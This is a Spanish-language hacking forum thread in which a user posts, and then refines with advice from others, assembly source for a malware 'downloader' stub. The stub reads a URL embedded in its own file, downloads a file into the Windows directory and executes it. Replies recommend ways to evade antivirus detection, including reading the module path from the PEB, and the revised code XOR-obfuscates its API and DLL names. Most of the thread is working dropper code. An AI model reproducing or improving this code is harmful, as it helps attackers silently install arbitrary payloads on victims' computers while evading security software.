mDownloader

Iniciado por fary, 15 Diciembre 2010, 20:31 PM

0 Miembros y 1 Visitante están viendo este tema.

fary

Bueno, aqui les traigo el código de un downloader uqe e creado en fasm :P, solo dejo el código del Stub que es lo interesante jeje.

Código (asm) [Seleccionar]
;Stub de mDownloader
;Codeado por Drinky94 en diciembre de 2010
;www.drinky94. artehack .net
include 'win32ax.inc'

.data
   ruta dd ?
   manija dd ?
   larchivo dd ?
   espacio dd ?
   bleidos dd ?
   dll db 'urlmon.dll',0
   funcion db 'URLDownloadToFileA',0
   mUrl dd ?
   dlls db 'msvcrt.dll',0
   funcions db 'getenv',0
   shell dd ?
   user db 'windir',0
   añadir db '\archivo.exe',0
   destino dd ?


.code
start:

       invoke GlobalAlloc,GPTR,1024
       mov [ruta],eax
       invoke GetModuleFileName,0,[ruta],1024

       invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
       mov [manija],eax
       invoke GetFileSize,[manija],0
       mov [larchivo],eax
       invoke GlobalAlloc,GPTR,[larchivo]
       mov [espacio],eax
       invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
       invoke CloseHandle,[manija]

       mov ecx,1
       mov eax,[espacio]
       add [larchivo],10
       bucle:

           .if byte[eax+ecx] = '#'
               inc ecx
               .if byte[eax+ecx] = '#'
                   inc ecx
                   .if byte[eax+ecx] = '#'
                       inc ecx
                       add eax,ecx
                       mov [espacio],eax
                       jmp salir
                   .endif
                   dec ecx
               .endif
               dec ecx
            .endif

            .if ecx > [larchivo]
                jmp salir
            .endif

            inc ecx
            jmp bucle

       salir:

       invoke LoadLibrary,dlls
       invoke GetProcAddress,eax,funcions
       mov [shell],eax

       push user
       call [shell]

       invoke lstrcat,eax,añadir
       mov [destino],eax

       invoke LoadLibrary,dll
       invoke GetProcAddress,eax,funcion
       mov [mUrl],eax

       push 0
       push 0
       push [destino]
       push [espacio]
       push 0

       call [mUrl]

       invoke ShellExecute,0,"open",[destino],0,0,0

      leave
      ret
.end start                        


Espero que a alguien le sirva :P

salu2!
Un byte a la izquierda.

Karcrack

Eso de dejar las cadenas en texto plano no es demasiado profesional, ademas que a los AVs no les gusta encontrarse "URLDownloadToFileA"... :xD

Teniendo en cuenta que esta en ASM te recomiendo sacar tu ruta desde el PEB, y asi te ahorras un par de APIs muy feas :P
Código (asm) [Seleccionar]
        xor  eax, eax
        mov  eax, [FS:eax+0x30]
        mov  eax, [DS:eax+0x10]
        mov  eax, [DS:eax+0x3C]
        ;EAX = Ruta


Todo esto:
        bucle:

            .if byte[eax+ecx] = '#'
                inc ecx
                .if byte[eax+ecx] = '#'
                    inc ecx
                    .if byte[eax+ecx] = '#'
                        inc ecx
                        add eax,ecx
                        mov [espacio],eax
                        jmp salir
                    .endif
                    dec ecx
                .endif
                dec ecx
             .endif

             .if ecx > [larchivo]
                 jmp salir
             .endif

             inc ecx
             jmp bucle

Es para encontrar la firma no? Es un poco cutre este bucle... deberias usar loop... ademas de usar una firma de 4 bytes para poder buscarla de este modo: cmp DWORD[eax+ecx],"####"

Otra cosa! Para sacar las variables de entorno siempre me ha gustado mas ExpandEnvironmentStringA/W.. a la que le pases la ruta del siguiente modo: "%WINDIR%\archivo.exe" y te la completa... ademas de que esta en KERNEL32 y te ahorras importar otra API :)

Un saludo ;)

fary

Umm, tienes razón Karcrack  :-*. Mañana mejoro el código y lo posteo jeje

salu2!
Un byte a la izquierda.

[Zero]

Está muy bien Drinky94, vas progresando con ASM :).

No sé si estás metiendo los datos en el EOF, pero si lo haces así, puedes encontrar fácilmente la dirección donde empiezan los datos que le builder metió y no tener que usar ninguna "firma". Si no lo haces con el EOF puedes reservar una dirección fija, por ejemplo con unos pocos nops en el código, y que sea el builder quien busque los nops y los cambie por los datos que quieres pasarle al stub. También puedes hacerlo con un archivo de recursos.

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

fary

Bueno, aqui esta el código mejorado:

Código (asm) [Seleccionar]
include 'win32ax.inc'

.data
    manija dd ?
    larchivo dd ?
    espacio dd ?
    bleidos dd ?
    dll db 'rukjhi)ckk',0
    funcion db 'RUKChpikhfcShAnkbF',0
    añadir db '%windir%\archivo.exe',0
    ruta dd ?

.code
start:
        xor  eax, eax
        mov  eax, [FS:eax+0x30]
        mov  eax, [DS:eax+0x10]
        mov  eax, [DS:eax+0x3C]

        invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
        mov [manija],eax
        invoke GetFileSize,[manija],0
        mov [larchivo],eax
        invoke GlobalAlloc,GPTR,[larchivo]
        mov [espacio],eax
        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
        invoke CloseHandle,[manija]

        mov ecx,1
        mov eax,[espacio]
        add [larchivo],10
        bucle:

            .if byte[eax+ecx] = '#'
                inc ecx
                .if byte[eax+ecx] = '#'
                    inc ecx
                    .if byte[eax+ecx] = '#'
                        inc ecx
                        add eax,ecx
                        mov [espacio],eax
                        jmp salir
                    .endif
                    dec ecx
                .endif
                dec ecx
             .endif

             .if ecx > [larchivo]
                 jmp salir
             .endif

             inc ecx
             jmp bucle

        salir:

        invoke GlobalAlloc,GPTR,1024
        mov [ruta],eax
        invoke ExpandEnvironmentStrings,añadir,[ruta],1024

        stdcall Cifrar,dll
        invoke LoadLibrary,eax

        push eax
        stdcall Cifrar,funcion
        mov ecx,eax
        pop eax

        invoke GetProcAddress,eax,ecx

        push 0
        push 0
        push [ruta]
        push [espacio]
        push 0

        call eax

        invoke ShellExecute,0,"open",[ruta],0,0,0

        leave
        ret

        proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp
.end start   


Había leido sobre la estructura PEB  y habia visto ese código tuyo en otro post de yst sino recuerdo mal.. XD

Bueno, no e mejorado lo de encontrar la firma que separa porque creo que así se adapta mas a lo que yo quiero y puedo añadir una firma con la longitud que quiera.

salu2!
Un byte a la izquierda.